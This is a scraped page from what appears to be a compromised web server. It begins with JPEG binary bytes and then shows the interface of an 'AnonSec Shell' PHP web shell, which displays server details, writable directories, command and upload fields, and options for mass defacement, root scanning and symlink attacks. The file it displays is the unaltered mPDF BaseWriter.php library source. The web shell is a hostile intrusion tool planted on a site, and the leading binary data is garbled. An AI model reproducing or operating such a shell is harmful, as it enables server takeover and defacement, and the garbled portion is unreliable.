JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 31.31.79.131  /  Your IP : 172.18.0.1   [ Reverse IP ]
Web Server : Apache/2.4.38 (Debian)
System : Linux a1822d00732a 4.15.0-39-generic #42-Ubuntu SMP Tue Oct 23 15:48:01 UTC 2018 x86_64
User : www-data ( 33)
PHP Version : 7.1.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/vendor/mpdf/mpdf/src/Writer/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/vendor/mpdf/mpdf/src/Writer/BaseWriter.php
<?php

namespace Mpdf\Writer;

use Mpdf\Strict;

use Mpdf\Mpdf;
use Mpdf\Pdf\Protection;

final class BaseWriter
{

	use Strict;

	/**
	 * @var \Mpdf\Mpdf
	 */
	private $mpdf;

	/**
	 * @var \Mpdf\Pdf\Protection
	 */
	private $protection;

	public function __construct(Mpdf $mpdf, Protection $protection)
	{
		$this->mpdf = $mpdf;
		$this->protection = $protection;
	}

	public function write($s, $ln = true)
	{
		if ($this->mpdf->state === 2) {
			$this->endPage($s, $ln);
		} else {
			$this->mpdf->buffer .= $s . ($ln ? "\n" : '');
		}
	}

	public function string($s)
	{
		if ($this->mpdf->encrypted) {
			$s = $this->protection->rc4($this->protection->objectKey($this->mpdf->_current_obj_id), $s);
		}

		return '(' . $this->escape($s) . ')';
	}

	public function object($obj_id = false, $onlynewobj = false)
	{
		if (!$obj_id) {
			$obj_id = ++$this->mpdf->n;
		}

		// Begin a new object
		if (!$onlynewobj) {
			$this->mpdf->offsets[$obj_id] = strlen($this->mpdf->buffer);
			$this->write($obj_id . ' 0 obj');
			$this->mpdf->_current_obj_id = $obj_id; // for later use with encryption
		}
	}

	public function stream($s)
	{
		if ($this->mpdf->encrypted) {
			$s = $this->protection->rc4($this->protection->objectKey($this->mpdf->_current_obj_id), $s);
		}

		$this->write('stream');
		$this->write($s);
		$this->write('endstream');
	}

	public function utf16BigEndianTextString($s) // _UTF16BEtextstring
	{
		$s = $this->utf8ToUtf16BigEndian($s, true);
		if ($this->mpdf->encrypted) {
			$s = $this->protection->rc4($this->protection->objectKey($this->mpdf->_current_obj_id), $s);
		}

		return '(' . $this->escape($s) . ')';
	}

	// Converts UTF-8 strings to UTF16-BE.
	public function utf8ToUtf16BigEndian($str, $setbom = true) // UTF8ToUTF16BE
	{
		if ($this->mpdf->checkSIP && preg_match("/([\x{20000}-\x{2FFFF}])/u", $str)) {
			if (!in_array($this->mpdf->currentfontfamily, ['gb', 'big5', 'sjis', 'uhc', 'gbB', 'big5B', 'sjisB', 'uhcB', 'gbI', 'big5I', 'sjisI', 'uhcI',
				'gbBI', 'big5BI', 'sjisBI', 'uhcBI'])) {
				$str = preg_replace("/[\x{20000}-\x{2FFFF}]/u", chr(0), $str);
			}
		}
		if ($this->mpdf->checkSMP && preg_match("/([\x{10000}-\x{1FFFF}])/u", $str)) {
			$str = preg_replace("/[\x{10000}-\x{1FFFF}]/u", chr(0), $str);
		}

		$outstr = ''; // string to be returned
		if ($setbom) {
			$outstr .= "\xFE\xFF"; // Byte Order Mark (BOM)
		}

		$outstr .= mb_convert_encoding($str, 'UTF-16BE', 'UTF-8');

		return $outstr;
	}

	public function escape($s) // _escape
	{
		return strtr($s, [')' => '\\)', '(' => '\\(', '\\' => '\\\\', chr(13) => '\r']);
	}

	public function escapeSlashes($s) // _escapeName
	{
		return strtr($s, ['/' => '#2F']);
	}

	/**
	 * Un-escapes a PDF string
	 *
	 * @param string $s
	 * @return string
	 */
	public function unescape($s)
	{
		$out = '';
		for ($count = 0, $n = strlen($s); $count < $n; $count++) {
			if ($count === $n - 1 || $s[$count] !== '\\') {
				$out .= $s[$count];
			} else {
				switch ($s[++$count]) {
					case ')':
					case '(':
					case '\\':
						$out .= $s[$count];
						break;
					case 'f':
						$out .= chr(0x0C);
						break;
					case 'b':
						$out .= chr(0x08);
						break;
					case 't':
						$out .= chr(0x09);
						break;
					case 'r':
						$out .= chr(0x0D);
						break;
					case 'n':
						$out .= chr(0x0A);
						break;
					case "\r":
						if ($count !== $n - 1 && $s[$count + 1] === "\n") {
							$count++;
						}
						break;
					case "\n":
						break;
					default:
						// Octal-Values
						$ord = ord($s[$count]);
						if ($ord >= ord('0') && $ord <= ord('9')) {
							$oct = ''. $s[$count];
							$ord = ord($s[$count + 1]);
							if ($ord >= ord('0') && $ord <= ord('9')) {
								$oct .= $s[++$count];
								$ord = ord($s[$count + 1]);
								if ($ord >= ord('0') && $ord <= ord('9')) {
									$oct .= $s[++$count];
								}
							}
							$out .= chr(octdec($oct));
						} else {
							$out .= $s[$count];
						}
				}
			}
		}

		return $out;
	}

	private function endPage($s, $ln)
	{
		if ($this->mpdf->bufferoutput) {

			$this->mpdf->headerbuffer.= $s . "\n";

		} elseif ($this->mpdf->ColActive && !$this->mpdf->processingHeader && !$this->mpdf->processingFooter) {

			// Captures everything in buffer for columns; Almost everything is sent from fn. Cell() except:
			// Images sent from Image() or
			// later sent as write($textto) in printbuffer
			// Line()

			if (preg_match('/q \d+\.\d\d+ 0 0 (\d+\.\d\d+) \d+\.\d\d+ \d+\.\d\d+ cm \/(I|FO)\d+ Do Q/', $s, $m)) { // Image data

				$h = ($m[1] / Mpdf::SCALE);
				// Update/overwrite the lowest bottom of printing y value for a column
				$this->mpdf->ColDetails[$this->mpdf->CurrCol]['bottom_margin'] = $this->mpdf->y + $h;

			} elseif ($this->mpdf->tableLevel > 0 && preg_match('/\d+\.\d\d+ \d+\.\d\d+ \d+\.\d\d+ ([\-]{0,1}\d+\.\d\d+) re/', $s, $m)) { // Rect in table

				$h = ($m[1] / Mpdf::SCALE);
				// Update/overwrite the lowest bottom of printing y value for a column
				$this->mpdf->ColDetails[$this->mpdf->CurrCol]['bottom_margin'] = max($this->mpdf->ColDetails[$this->mpdf->CurrCol]['bottom_margin'], $this->mpdf->y + $h);

			} elseif (isset($this->mpdf->ColDetails[$this->mpdf->CurrCol]['bottom_margin'])) {

				$h = $this->mpdf->ColDetails[$this->mpdf->CurrCol]['bottom_margin'] - $this->mpdf->y;

			} else {

				$h = 0;

			}

			if ($h < 0) {
				$h = -$h;
			}

			$this->mpdf->columnbuffer[] = [
				's' => $s, // Text string to output
				'col' => $this->mpdf->CurrCol, // Column when printed
				'x' => $this->mpdf->x, // x when printed
				'y' => $this->mpdf->y, // this->y when printed (after column break)
				'h' => $h        // actual y at bottom when printed = y+h
			];

		} elseif ($this->mpdf->table_rotate && !$this->mpdf->processingHeader && !$this->mpdf->processingFooter) {

			// Captures eveything in buffer for rotated tables;
			$this->mpdf->tablebuffer .= $s . "\n";

		} elseif ($this->mpdf->kwt && !$this->mpdf->processingHeader && !$this->mpdf->processingFooter) {

			// Captures eveything in buffer for keep-with-table (h1-6);
			$this->mpdf->kwt_buffer[] = [
				's' => $s, // Text string to output
				'x' => $this->mpdf->x, // x when printed
				'y' => $this->mpdf->y, // y when printed
			];

		} elseif ($this->mpdf->keep_block_together && !$this->mpdf->processingHeader && !$this->mpdf->processingFooter) {
			// do nothing
		} else {
			$this->mpdf->pages[$this->mpdf->page] .= $s . ($ln ? "\n" : '');
		}
	}

}

Anon7 - 2022
AnonSec Team